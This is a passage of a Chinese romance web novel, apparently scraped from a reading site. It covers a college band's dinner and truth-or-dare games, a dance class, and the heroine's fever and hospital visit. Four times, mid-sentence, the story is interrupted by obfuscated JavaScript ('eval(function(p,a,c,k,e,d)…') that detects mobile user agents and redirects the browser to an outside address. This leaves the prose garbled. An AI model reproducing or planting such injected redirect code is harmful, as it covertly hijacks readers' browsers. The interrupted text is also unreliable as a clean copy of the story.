烤肉是从饭店里外带的生食,曹非在支烤盘,罗姝一一拆开外卖盒,把所有食材都摆放整齐,又把自己带来的水果清洗了一下,装盘摆到餐桌中央。 这时,一阵急促的手机铃声响起,曹非跟罗姝示意了一下,边接通边往外走:“姐夫。” 罗姝听不到电话那端的人说了些什么,只听见曹非语气无奈地劝了一句:“都说了你别老和我姐吵,她从小就是快嘴,你能是她的对手吗?” 别墅大门把后续的通话内容都隔断在外,罗姝透过巨大的落地窗,看到了门外曹非的影子,他嘴巴开开合合,一直在说些什么。 她进入了一种玄而又玄的状态里,像是在这一瞬间触碰到了命运的奇点。 此刻的曹恩悦和她的丈夫吵架了吗?他们的感情是从这里产生了裂缝吗? 命运之轮是否已经开始转动,而她要作为知情人,先去目睹一场属于曹恩悦人生的悲剧。 心脏一下又一下沉重地跳跃着,罗姝收回视线,继续准备蘸料。 空气中有种难言的苦涩,顺着她的呼吸延展到每条血管、每个器官,直至四肢百骸。 段胥阳这时甩着湿漉漉的手从厨房里走出来:“罗姝!冰箱里有果汁和汽水,你想喝什么?他们还买了啤酒,不过只买了三听。” 这元气十足的嗓音瞬间为罗姝注入一针强心剂,她吐出一口浊气,重新在指尖感受到暖意。 “我喝果汁就好,谢谢。” 段胥阳先取了两瓶冰镇的橙汁,忽然想起什么,又顿住,转身问她:“你可以喝冰的吗,我点个外卖让送来几瓶常温的吧?” “冰的就好,一会儿烤起肉来会很热。”罗姝走上前几步,接过他手里的饮料。 冷藏过的果汁入手很冰,但她的心里却感到十分温暖。 很多人说,大学是人生的分水岭,她渐渐开始感到认同。 在这短暂的大学生活里,她已经感受到太多次从前无法感受的,那种来自正常社交下朋友的关心与体贴。 她这时可以肯定地告诉自己,拒绝复读、被父母放逐这件事她丝毫不后悔。她也许因此走向了一条更艰难的人生道路,却也因此收获了沿途更加靓丽的风景。 没等多久,除了需要现烤的肉,其他菜都上了桌。 三大盘不同口味的小龙虾占据了视野中心,周围有鲜甜可口的鱼虾,也有香气诱人的卤味熟食,还有刚调味好的皮冻、千张作为凉菜,十分丰盛。 “我们本来还想着谁有女朋友或者女性朋友的话,可以邀请过来陪陪学妹,没想到逆时针乐队又名寡王俱乐部。”孟宇寰扶了下眼镜,笑着继续说:“学妹也别拘束,想吃什么就自己夹。” 罗姝点头应下,随后便发现她压根没有自己夹菜的机会。 她旁边的段胥阳手里捏着两双筷子,一双自己用,另一双公筷挥舞地飞快,唰唰唰几下就把罗姝的碗堆得冒尖。 罗姝头一次吃到撑。 艰难地躲过一筷子烤肉,罗姝摆手示意自己已经无力奋战。 她就说段胥阳这个人对于投喂她有种奇怪的执念,绝对是这样。 饱餐一顿,几个人合力打扫了一下餐厅和厨房,便回到客厅开始消食。 时间还早,还不到七点,罗姝也不知道该不该在此时提出告辞。 正好黄大骏提议玩几轮破冰小游戏,罗姝作为需要破冰的主要人物,便顺势参与了进去。 游戏规则也很简单,先从一副扑克牌里取出每个花色的1-4号牌,每轮游戏开始前,从这16张牌里随机抽取一张倒扣。 之后五人玩抢数字游戏,按照顺序从1-5抢着报数,谁先喊出数字,这个数字就归谁。两人同时喊出同一个数字时,需要通过剪刀石头布的游戏来决定数字的归属,输的人要继续抢数字,直到五个数字全部抢完。 此时翻开扑克牌确认数字,抢到与扑克牌数字相同的人需要回答其他人提出的一个问题,最后报数的5号数字也要一起接受惩罚。 第一轮游戏过后,从没有玩过这类游戏的罗姝因为紧张的缘故发挥不好,直接成为了5号数字,需要接受惩罚,这一轮一同受罚的还有乐队队长孟宇寰。 黄大骏与他认识时间最久,当即坏笑提问:“晓风学姐追了你这么久,你就没有一点心动吗?必须说真心话,回答不了就喝酒!” 孟宇寰沉默了两秒,没有回答,默默喝掉了那一小杯啤酒。 顿时,起哄的嘘声响起,孟宇寰脖子红了一片。 从学长的反应来看,这个问题应该是戳到心窝子了。 罗姝把心提到了嗓子眼,都顾不上八卦,满心都是紧张。 提问她的人是曹非,他一边拨弄着偏长的头发,一边双眼转来转去,最后问道:“你对段胥阳的初印象是什么?” 罗姝轻皱了一下眉头,开始回忆。这个问题还真不算好回答,因为段胥阳作为高中时的风云人物,他的存在就跟电脑病毒似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936312|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知不觉就侵入了大脑主机,完全找不到是从哪一天开始知道他这个人的。 “长得好看,唱歌好听。”最终,罗姝这样回答。这两个特征是段胥阳高中时的最大标签,也是大众印象。 段胥阳就在一旁笑眯眯听着,被夸以后冲着其他人得意洋洋地摇头晃脑。 第二轮游戏开始,罗姝还没掌握这抢数字游戏的技巧,果然又被挤到了后排,匆匆忙忙喊了声“4”。 段胥阳不知为何一直没抢,直接成为必须受罚的5号数字。 曹非很积极地跑去厨房里倒了一小杯醋回来,对他说:“一会儿你得开车,就不用喝酒了,要是你回答不上来,干了这杯醋。” “那这杯醋可用不到了,”段胥阳自信开口:“没有我不敢回答的问题。” 这堪称挑衅的发言让几个男生瞬间忘却了还需要受罚的黄大骏,齐齐将矛头对准了他。 他们嘀嘀咕咕半天,发誓非要想出一个让他无法回答的问题。 最后遗憾发现,文明的问题总是很好回答,而不文明的问题,不好提问。 曹非把主意打在了罗姝身上,他灵光一闪,凑近对罗姝耳语了几句。 罗姝似懂非懂地点着头,按照他教的那样问段胥阳:“你第一次认识我,是什么时候?” “高一开学第一周的演讲,你是新生代表。”段胥阳毫不犹豫地开口回答。 “这个问题太简单了,”罗姝冲着那三个男生摊摊手:“根本难不倒他。” “你在帮他们难倒我吗?!”段胥阳直接被气笑,他开始大放厥词:“我之后也专抢5号数,你们轮流提问,我看谁能真正难倒我!” 战火一触即发,几人草草敷衍过对黄大骏的提问,第三轮游戏启动。 罗姝这一次抢到了数字1,扑克牌是梅花2,抢到2的曹非接受惩罚。 段胥阳举起手机开启拍摄模式,提问:“每次你姐夫和你姐吵架来找你诉苦的时候,你心里觉得谁的问题更大!” 曹非:“……” 眼看他要保留证据,曹非无论如何也不能回答,他憋屈地喝掉啤酒。 哪知段胥阳还不放过他,对着手机一顿嘀咕:“姐,他不敢直说,他觉得你有错!我就不一样了,我觉得千错万错只能是姐夫有错!” 话音刚落,就听见咻一声,这条消息发送成功了。 曹非跳起来去抢他的手机要撤回,段胥阳灵活地闪开,还不忘看着回复通风报信:“姐已经说了,你就等着挨揍吧!” 罗姝面上的笑意淡了下来。 这还是她第一次直面小说男女主的互动。她能感受到段胥阳对曹恩悦的亲近。 她差点忘了,按照小说剧情,段胥阳这时早该喜欢上曹恩悦,只是不能说。 看到这一幕,在这样一个处处真实的聚会里,她终于捕捉到了那一丝隐藏起来的虚假。 这是一个被规定在既定情节里的世界,他们在走一条已经被命运编排好的路。 20. 暗恋第18天 曹非被段胥阳整了一把,自然是要反击的,他不着痕迹地瞥了罗姝一眼,便又翻出一个杯子来倒满了醋。 “这次你要是回答不上来,你喝两杯。”曹非自信满满地开口,俨然已经想好了要提问什么。 那俩前辈看到他们互相伤害,也没有上前平息战火的意思,各自叉起一块西瓜津津有味地品尝起来。 孟宇寰还特意把果盘往罗姝面前推了推,说:“他俩还有得闹呢,咱们先吃。” 在罗姝把西瓜送到嘴里的同时,她听到了曹非的问题:“复述你最近一次跟你喜欢的女孩说话,都说了什么。” 出于震惊,罗姝眼圈都微微放大,嘴里含着半块西瓜一直不敢咀嚼。她感觉自己的心脏像是被缚上了丝线,正不受控制地收紧。 要知道段胥阳几分钟前才当着这么多人的面刚跟他喜欢的人对话过,要是真复述出来…… 那跟当众告白有什么区别。 到那时,此刻正得意的曹非怕是第一个接受不了。 她悄悄把视线挪到段胥阳脸上。她已经计划好了,万一段胥阳非常为难,她就站出来替段胥阳解围。 他们视线相触,段胥阳也正在看她。 与以往那充满热忱和明亮的眼神不同,此刻他清澈的眼眸里写满了认真与思索,与她惴惴不安的目光对上时,她看到他眼里划过一道浅浅的笑意。 段胥阳哼了一声,语气却和缓下来:“这个问题我先存着,上醋。” 话音刚落,他就看见罗姝那明显松了口气的表情。 段胥阳知道,一旦他真的复述了和罗姝交流的最后一句话,那无异于在整个乐队面前彻底公开了对彼此的感情。 一整个屋子的年轻人,势必会喧闹不休,起哄不止。 那会让罗姝在毫无准备的情况下,被迫承受道德绑架,哪怕两个人心意相通,也并不是合适的做法。 更何况,从罗姝的表情来看,他一直以来猜得不错。 罗姝并没有完全准备好去进入一段亲密关系。 两杯醋下肚,段胥阳感觉自己被酸倒了牙,整张脸都皱在了一起,宛如戴上了一张痛苦面具。 已经被两杯醋狠狠打了脸,他也撤回了自己撂下的狠话,重新积极参与进游戏中。 一轮又一轮游戏结束,一个又一个问题提出,这个本意只是破冰的小游戏,竟然真得让这个刚组成不久的乐队消弭了隐藏起来的生疏,变得更加熟稔起来。 时间渐晚,最后一轮游戏众人一致让罗姝来进行提问,为本次聚餐画下圆满句号。 罗姝看向需要接受惩罚的孟宇寰,略微思考了一下。 此前她提问的时候总是问一些无关痛痒的问题,虽然不为难人,也显得无趣。 逆时针乐队是真心接纳她这个编外剪辑师,她也应该回报一些热情才对。 想到这里,罗姝狡黠地抬眼笑了笑:“学长既然也喜欢晓风学姐,为什么现在还没有在一起啊?” 孟宇寰苦笑了一下,无奈地扶了扶眼镜,长叹一声:“她说她没办法更进一步,一旦追到手就不喜欢了,让我无论如何都不要和她正式交往。” 周围四张脸上的八卦顿时化作同情,黄大骏更是拍了拍他的肩膀,一副哥俩好的模样:“兄弟,我之前还担心你是渣男,是我误会你了。” 曹非啧了一声,摇摇头开始收空了的果盘:“果然是智者不入爱河,你们这些被爱情摆布的人一个比一个麻烦。” 小别墅虽然有房间,但平常大家依然住在学校宿舍。段胥阳和曹非是大一新生还不能外宿,两个学长则是被前段时间昼夜不停加班加点地工作搞怕了,他们只想远离这个地方。 于是来的时候是段胥阳和罗姝两个人乘一辆车,回去的时候,整辆车都被塞满了。 非教职工车辆不能进校园,汽车停放在校门口的停车场,几人还需要步行回宿舍。一行人就在校门口宛如烟花般散开,段胥阳和罗姝走在一起,他要先送她回去。 昏黄的路灯遮掩了镶嵌在天幕上的星星,夜里的风刮过时泛起阵阵凉意,罗姝手臂上激起一层鸡皮疙瘩,她将双手蜷缩进长袖里取暖。 “冷啊?”段胥阳作势要脱自己的外套。 罗姝拦下他:“不用,我不冷,你就穿了一层外套,别折腾感冒了。” 段胥阳又借着路灯的光观察了一下,见她确实状态还好,便没有再坚持。 比起白天的人来人往,夜晚的校园空旷又寂静,两人的脚步声重叠在一起,一声声弥漫在耳边。 “罗姝,”他突然叫了一声她的名字,自顾自说了一句:“我最后一句话是跟你说的。” “什么?”罗姝不明所以地仰头看他:“你要跟我说什么吗?” 段胥阳含笑哼了一声,把她说过的话原封不动地还了回来:“那你别管。” 罗姝只当他在报复自己下午那句没头没脑的话,她嘴角缓缓上扬,快步走了两步追上他的步伐:“幼不幼稚。” “哎,你刚刚问孟哥的那个问题,我也想问问你。”段胥阳没敢侧过脸看她的表情,插兜的双手已经紧紧攥拳:“如果你是晓风学姐,喜欢了一个人那么久,知道他也喜欢你,你会希望早一点在一起吗?” “我啊,”罗姝迷茫地眨了眨眼睛,实话实说:“我也不知道,应该会吧。” 应该…… 段胥阳眼珠转了转,又追问了一句:“那你希望你来告白,还是他来告白?” 提起告白这两个字,罗姝就想到自己想告白都无法告白的悲惨命运,甚至到现在也没找到原因。 她叹了一口气:“希望有朝一日我能做到告白出口吧。” 段胥阳脚步一顿,眉毛跳了一段古怪的舞,他嘀咕起来:“能做到又是什么意思……想自己告白还是不想啊!” 就这么一路走走停停,终于磨蹭到了罗姝寝室楼下,罗姝迈上台阶,回头跟他告别:“谢谢你送我回来,快回去吧,风越来越大了。” “行,那下周五见。”段胥阳冲她挥了挥手,眼睛弯成月牙:“思修课太无聊就别去了,好好吃饭,体育课再见。” 他转身离去,走出了几步,回头见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16946050|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罗姝还站在门口,便又喊道:“回去吧!” 怔愣中的罗姝被他喊醒,她又冲他摆了摆手,才走进了寝室楼。 他……好像知道她去上周三的思修课是为了他而来的,甚至像是在配合她。 为什么要配合她呢? 不出罗姝所料,这一天过后,校园里果然窸窸窣窣传出了不少有关于她和段胥阳的绯闻。 有人说他们已经在一起了,有人说他们正在暧昧中,也有人说他们只是普通朋友,每个说法都有鼻子有眼的,但仔细一问,全都无图无真相。 罗姝高中连续三年霸榜年级第一最终高考滑铁卢的事情,也被其他热心的高中校友传播开来。 接连几天,无论是寝室的三个室友,还是班级里的其他同学,看她都像看大熊猫一样稀奇,但碍于高考失利并不是什么好的话题,她们再好奇,也没人问到罗姝脸上来。 这件事对罗姝的生活好像有影响,又好像没有,总之生活就这样平淡地继续,没有造成太大的波澜。 某个中午,罗姝在网上搜索了一大堆情书模板,打算认认真真写一封情书随身携带着,她打算有时间就试试,万一哪天就可以告白了呢? 虽然告白失败之后会有些尴尬,只要她好好表现,向他保证自己不会因为私心影响工作,应该还能继续进行乐队编外剪辑师的工作。 这段时间罗姝又看了不少教学视频,室友们过来陪听了几分钟,都大呼无聊,但罗姝每一次都听得很沉浸。 自从得知逆时针乐队能接到新工作也有她的一份功劳后,她再接触有关于剪辑的事情时,总是更多一分耐心和跃跃欲试。 现在她对于这份还没有完全上岗的工作已经产生了不舍,她并不想因为自己的私人问题失业。 段胥阳应该不会公私不分吧? 这样想着,罗姝下笔就有些犹豫。 良久,她还是长叹一声,决定向室友们求助:“你们说,我跟段胥阳告白被拒后,还有机会帮他们剪视频吗?我发现我还挺喜欢剪辑的。” 正抱着手机看小说的林莎放下翘着的二郎腿,她把目光艰难地从那暗藏火热的剧情上挪开,飞快说了句:“问得好,但我觉得他不会拒绝你。” “我也觉得,”康雅琪作为资深吃瓜群众,她说话都是有凭据的,她翻出几个旧贴发到寝室群,说:“你们看,前段时间也有女生去堵段胥阳,想倒追他,但是风言风语还没刮起来就被他自己掐灭了,这些贴下面都是段胥阳同学在辟谣。” “但是这一次和姝姝闹绯闻,他们班同学只说了一句话:好像现在还没在一起。” 康雅琪激动起来:“这说明什么!说明在一起只是是迟早的事!” “而且他对你确实挺好的。”白婵曾亲眼目睹过段胥阳帮罗姝搬行李,她的感触更深些:“姝姝,你多点自信。” 罗姝:“……” 她无奈地转过身去继续写情书。 谁让室友们压根不知道剧情的事情呢,“段胥阳拒绝罗姝”这是写在底层代码上板上钉钉的事,并非是她不自信啊! 21. 暗恋第19天 周五如期而至,这是第一节体育课,罗姝和寝室三人提前半个小时出发去找教室,仍然差点迟到。 并不是路程有多远,而是教室藏得深。 课表上明明写着在网球馆上课,她们足足绕着网球馆转了三圈都没找到教室在哪。 最后还是段胥阳和曹非及时下来指路,她们才顺利找到藏在网球馆和教师家属楼中间那道通向舞蹈教室的楼梯。 “比迷宫还要难走,你们都怎么找到的啊。”林莎边爬楼边抱怨,她现在上课都全妆出门,这么折腾一通,不用照镜子她都知道妆已经花成了一片。 段胥阳走在前面,闻言回答道:“刚刚有个学长在网球馆门口指路,他应该是有事先离开了。” 小楼梯又陡又峭,好不容易爬到三楼,几人全都气喘吁吁。 刚巧罗姝在前一天夜里受了风寒,此刻嗓子眼里像是缠上了水草一样,又痒又疼,她快步走远了些,扯下口罩开始止不住地咳嗽。 “昨天晚上我们忘记关窗户,赶上夜里降温,姝姝床铺又靠窗,醒来就直接感冒了。” 白婵帮忙解释了两句,又拿出两个口罩给他们:“以防万一,还是离我们远一点。” 段胥阳接过口罩戴好,他跟白婵道了声谢,却完全没有听话的意思,依然凑近了罗姝小声问道:“我这里有润喉糖,吃一颗?” 见罗姝点头,他从衣兜里翻出两颗颜色鲜艳的水果硬糖,顺手剥开其中一颗的糖纸,才将两颗糖一起递给罗姝。 “吃药了吗?” “喝了板蓝根。”罗姝掀起口罩的一角,把润喉糖塞进嘴里。 带有薄荷成分的水果糖入口发凉,清甜的水果味道有效压抑住喉口的毛躁感,她吞了吞口水,渐渐止住了咳嗽。 罗姝从小到大身体素质一直很好,她记忆里自己很少生病,这次会中招,她坚持认为是前段时间睡眠不好精神不济留下的祸患。 该死的小说世界,害人不浅。 罗姝忍着嗓子的干涩,满腹怨念。 这时,在她旁边浏览手机页面的段胥阳又开口说:“我查了一下,板蓝根一般是治疗风热感冒,你应该是风寒感冒,药不对症。以防万一,下课后我带你去医院看看。” 罗姝还真不知道感冒药还有这么多门道,她的双眼因为生病的缘故染上了水光,此刻水润的眸子透露着些茫然:“板蓝根不行吗?我家里都是常备板蓝根。” “去医院看看吧,你咳嗽还挺严重的。”段胥阳查到需要的信息,就把手机收了起来:“我问过了,咱们学校校医院六点以后没有看诊的医生,校外医院也不远,我开车带你去。” 罗姝手里捏着另一颗糖,有些犯懒不太想去,支支吾吾找着理由:“这太麻烦你了,我今晚先观察一下,要是吃药不起作用再去校医院。” “我都不怕麻烦,你怕什么。”段胥阳有些被气笑,恨不得上手捏一捏她那张藏不住情绪,写满了“不想去医院”的脸。 上课铃声已经响起,老师却还没来,学生们三三两两凑在一起,到处都是说小话的声音。 罗姝捧着糖纸看了一会儿,突然想起什么,有些惊喜地抬头:“这个糖,好像是你之前请同学们吃的那种。” 大概是换了新的包装,所以罗姝没有第一时间认出来,但她还记得糖的牌子,和这颗糖包装纸上的logo是一样的。 “是只请你吃过。” 段胥阳又摸了摸自己的兜里,那里已经没糖了,他只好摊着手说:“一包还挺贵,当时我还没有实现零花钱自由,所以给别人的都是普通水果糖。” 罗姝其实并不知道其他人的糖都是什么样子,她只知道段胥阳曾经给整栋楼的学生都送过糖。 她没有朋友可以闲聊,所得知的消息基本都是同学们在走廊八卦时传过来的。那时她还紧张了一阵,如果段胥阳也讨厌她,把糖收回去怎么办? 那包糖她一直放到学期末才偷偷吃掉,她以为这已经是她能得到的最大善意,然而今天她才知道,她甚至得到了优待。 “你怎么会送不一样的糖给我呢?”罗姝缓慢地眨了下眼睛。 薄荷凉到发苦,但水果糖浆的甜蜜又中和了这份苦涩。小小一颗糖已经在口腔里融化成沙砾大小,罗姝将它吞咽下去,糖果刮过喉口,还是带起一阵痛意。 看着她那吃痛而发皱的眉眼,段胥阳嘴角噙着一抹笑意,轻声回了句:“谁让我一眼就看见你了。” 这时,体育老师终于带着一男一女两个同学姗姗来迟。 其中那位女同学皮肤白皙,体态轻盈,竟然有些眼熟。 罗姝还没想明白在哪里见过她,旁边不约而同伸出三只手把她一把拽了过去,康雅琪直接趴在她耳朵前说:“启动一级警报模式!这是隔壁舞蹈学院的校花!” 罗姝:“……” 破案了,原来是段胥阳的追求者之一。罗姝确实在逆时针乐队首演现场见过她,只是当时灯光有些昏暗,她对那几位才貌出众的女孩都没什么印象。 比起开启警报,罗姝更在意一个问题:“为什么隔壁学校的学生,会跟我们在同一间教室上课?” 此问一出,消息最灵通的康雅琪也哑火了,她带着滑铁卢的懊恼狠狠砸了自己手心一下:“我下课就立马打听!” 不必再去打听,体育老师自己解了惑,原来她本职是隔壁舞蹈学院的老师,被临时外聘过来带课。为了展示舞蹈效果,她从自己学校带了两个学生过来做示范。 罗姝回忆了一下地图,现在这栋楼就是隔壁学校和自己学校的分界线,难怪会把教室安排在这里,她还以为是同学们跳起舞来羞耻度太高,羞于见人呢。 上过体育舞蹈课的前辈们都认为这是一节水课。水课之所以是水课,除了期末很好过以外,上课松散也是一个重要原因。 就听老师说了句:这学期要学会一支两分钟左右的双人探戈舞,同学们先自选舞伴,异性舞伴优先。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952441|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是总共100分钟的课程,前60分钟便都拿来选舞伴了。 来上课的学生大部分都是结伴而来的,偶有落单的几个人,互相一对视也立马组队成功,已经有人拿出手机准备TIMI几局。 就在这时,传说中的校花同学穿过人群,径直向段胥阳走来。 “段胥阳,一直没有机会正式认识一下,我是田京,这学期都会跟着陈老师来助教。我可以邀请你做我的舞伴吗?” 田京不仅在颜值方面出众,她的整体外形条件、身材比例以及舞蹈水平,都是这一届学生中名列前茅的。 浸润在赞美声中长大的女孩总是自信又大方,她的眼里丝毫不见忸怩与羞涩,只有毫无遮掩的好感。 只是简单的一个照面,罗姝就喜欢上了她的爽朗,喜欢她看似柔弱的外表下的坚定果决。 这周围的每一个人,好像都知道自己想要什么,都懂得争取。 旁边那几位准备TIMI的同学迟迟没有选择开局,嘈杂的教室瞬间安静下来,只有极其用心去听,才能听到些细微的打字声,那是有人在文字转播现场的八卦。 罗姝看到室友们正冲着自己挤眉弄眼,这才发现自己竟然一不小心被夹在了两校风云人物的中间,她忙轻手轻脚地向后挪。 她内心深处替这个女孩生出了遗憾,因为她知道这个女孩也不会得偿所愿。但即便如此,田京也需要一个完整的舞台来等待对她的回应。 “不好意思,我已经有舞伴了。”段胥阳眼疾手快把她捞回来,对田京示意道:“她就是我的舞伴,请你再去问问别人吧。” 田京自然不缺舞伴,这一次过来,与其说是邀请,不如说是试探。 得到了她想要的答案,她秀丽的脸上露出了然的神色:“看来网上也不全是谣言,祝福你们。” 看到那抹俏丽的身影毫无留恋地转身离去,自觉当了挡箭牌的罗姝目光哀怨地看向段胥阳。 “干嘛,我又没说错。”段胥阳理直气壮地回视。 “我明明不是你的舞伴。” 此话一出,看好戏的室友们迅速行动起来。 白婵和康雅琪一副好姐妹的样子抱在一起:“我们都感冒了,别传染给别人,就我们俩组队吧!” 林莎也一个箭步冲到曹非面前直截了当地问道:“我可以和你组队吗?我这辈子还没牵过男人的手!” 曹非:“……” 这是他见过最显眼的助攻。 他矜持颔首:“可以。” 段胥阳顿时乐了:“走吧,去跳舞了,舞伴。” 他像模像样地做了个舞蹈邀请礼,半躬着身子向罗姝伸出一只手。 带有薄茧的手掌温暖有力,像是带着电流,在肌肤相触的瞬间迅速全身过电。 罗姝突然听到了一阵急促的心跳声,她四处看了看,没有找到心跳的来源。 半晌,她才意识到,那是她自己的心脏在宛如擂鼓般跳动不休。 22. 暗恋第20天 这一节课老师并没有教舞蹈动作,而是带着学生反复练习基础舞步、基础手势,每个人都架着胳膊自己练习,舞伴之间手都没机会拉一下。 但罗姝的脸还是慢慢红了起来,她时不时趁换动作的间隙用手背给自己的脸颊降温。 不就是以为要正式学双人舞,牵了一下手嘛,她也不是什么脸皮很薄的人,居然会这么害羞? 罗姝一边偷偷给自己扇风,一边觉得脑袋有些晕,搞不清自己到底怎么回事。 直到一旁的段胥阳拧着眉头凑近,用手背在她额头上贴了贴,沉声说了句:“你发烧了。” 罗姝这才钝钝地抬头:“发烧?” 见状,段胥阳把反应有些迟钝的罗姝拉离队伍,叫她先靠着墙休息一会儿,自己上前去和老师沟通。 此时距离下课也没差多少时间,老师隔着人群看了罗姝一眼,跟段胥阳叮嘱了一句什么,就宣布提前下课,让学生们有序解散。 “楼下有共享单车,我们先骑车到校门口,你把我的衣服披好。” 段胥阳说着,就脱下自己的外套,像是给表弟坨坨穿衣服那样,指挥着罗姝抬抬胳膊伸伸手,穿好后又替她拉上了拉链。 罗姝还在摸自己的额头,不知道是因为她的掌心也在发热的缘故,她压根没感觉到自己在发烧,但是看段胥阳那一副严阵以待的样子,她也没敢说。 余下的三位室友外加曹非则完全被排斥出氛围里,只能目送他们离去。 过了一会儿白婵才突然想起什么似的,说:“其实是不是应该让我陪姝姝去医院?我是寝室长啊。” “谁让咱们没车呢,”康雅琪拍拍她的肩膀:“我们可以电子陪诊,一会儿回宿舍连上网就开群视频。” 曹非站在一旁,张张嘴,又合上。 谁能告诉他,他现在是直接转身就走,还是要发挥绅士精神请兄弟未来女友的室友们吃一顿饭? —————— 大概是换季降温的缘故,去医院挂急诊的人并不算少,床位已经没有空缺,就连走廊上都坐着打点滴的人。 鼻尖充斥着消毒水略显刺鼻的气味,罗姝不适地皱了皱鼻子,先去测量了体温。 体温枪显示的数字是三十八度五,医生大概已经看多了更高的体温,很平静地开了药。 医院患者实在太多,段胥阳担心交叉感染,也怕罗姝不能好好休息,便问了句:“医生,她的情况只吃药也能退烧吧,不打点滴可以吗?” 那医生看起来四十多岁,脸上有些疲态,说话却还是很有力:“可以,年轻人身体素质好,她现在状态还不错,没有必要输液。就是夜里可能会反复发烧,你们家属要细心一点。” 有了医生的话,段胥阳也像是吃了定心丸,他取了药,给罗姝脑门上贴了个退烧贴,才说:“我们先回工作室,我给你煮粥好不好?” 发烧症状正式来袭,罗姝后知后觉地开始浑身酸痛,她有些烦闷地小幅度摇头:“我回寝室就好啦,我可以点外卖。” 段胥阳没有立马接话,一直到两人快走出医院,他才有些无奈地笑了笑,语气极尽轻柔,避免自己在说教:“你呀,就不能对自己好一点。” “我对自己挺好的呀,”罗姝不明所以,但不服气:“我会点最豪华的粥,我之前都只喝学校食堂里的白粥。” “那现在有一份现煮的、软烂香糯的、健康无污染的粥等着你享用,干嘛要拒绝呀?”段胥阳给她拉开车门,扶着她坐到副驾驶后,他撑在车门上,垂眸盯着她看。 见他如此,罗姝只好实话实说:“我不想太麻烦你,你已经帮我很多了。” “我不觉得麻烦,我就想照顾你。”段胥阳脱口而出,下一秒,他急忙摸着鼻子找补:“我是说,你都生病了,明明可以依靠一下别人的,还这么客套,有没有把我当朋友!” 说出口的话在段胥阳脑海中盘旋一圈,他又忍不住闭了闭眼唾弃自己口不择言。 到底是谁要跟她当朋友! 他明明要当男!朋!友! 她不会误以为他在婉拒她吧?! 段胥阳偷偷掀起眼帘,小心翼翼往罗姝脸上看去,只看到她那含着笑意、目光闪烁着感动的神情。 “那个……”段胥阳满脸不自在:“我建议你今天就留在工作室休息,比在学校更方便。你可以问问你的室友们谁能来照顾你,那边还有客房的。” “段胥阳,谢谢你。” 罗姝感受到了他的一片赤诚,她知道他那过度的热心都来源于他的善良。 他是被作者精雕细琢的男主角,他拥有一切美好的品质,就连她这个工具人,也时时被这份善意照拂。 她好像已经可以共情小说中的自己,为什么会在那么繁忙无趣的求学生活里,喜欢上段胥阳了。 周五有个晚高峰,路上很堵,等两人终于回到小别墅门口时,应邀前来照顾病号的林莎早就骑着小电驴先到一步,要了开门密码进门后,还帮忙进厨房泡了一碗米。 “煮粥还得一段时间呢,我们刚刚去吃了粤菜,我打包了肠粉过来,你先垫垫肚子。”林莎摸了摸打包盒:“还是热的,你趁热吃。” 见段胥阳已经进了厨房,听不到两个人的讲小话,林莎这才凑过来,超小声说:“姐妹,我建议你之后上舞蹈课的时候,多套几双袜子。” 肠粉很适口,温度也适中,罗姝忍不住吃了一大块,她含糊着问:“为什么?” “因为今天上课,明明是单人练习,曹非都踩了我足足五脚。”林莎满脸严肃地伸出个巴掌:“他说他和段胥阳水平相当。” “咳咳咳……”罗姝被呛到,咳嗽了几声,好不容易缓下来,她震惊地问:“明明是各跳各的,他是怎么踩到你的啊?” “姝姝,不要试图理解舞痴的行动轨迹,他们自己也不知道的。”林莎叹气:“你说小婵和雅琪会愿意接手这个舞伴吗?我觉得她们也没摸过帅哥的手。” “己所不欲,勿施于人。”罗姝发出八字箴言劝谏。 林莎哀怨:“罗姝同志, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16965315|192695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他日成了校草女友,千万不要忘记我等今日之贡献。” 罗姝:“……” 你不说我都差点忘了你们是怎么迅速抛下我的了。 于是两个互相哀怨的人开始面面相觑。 没等多久,段胥阳牌晚餐新鲜出炉,除了粥,桌上还有玉米和南瓜,另外加几碟小菜,入目之处都是粗粮,看起来非常养生。 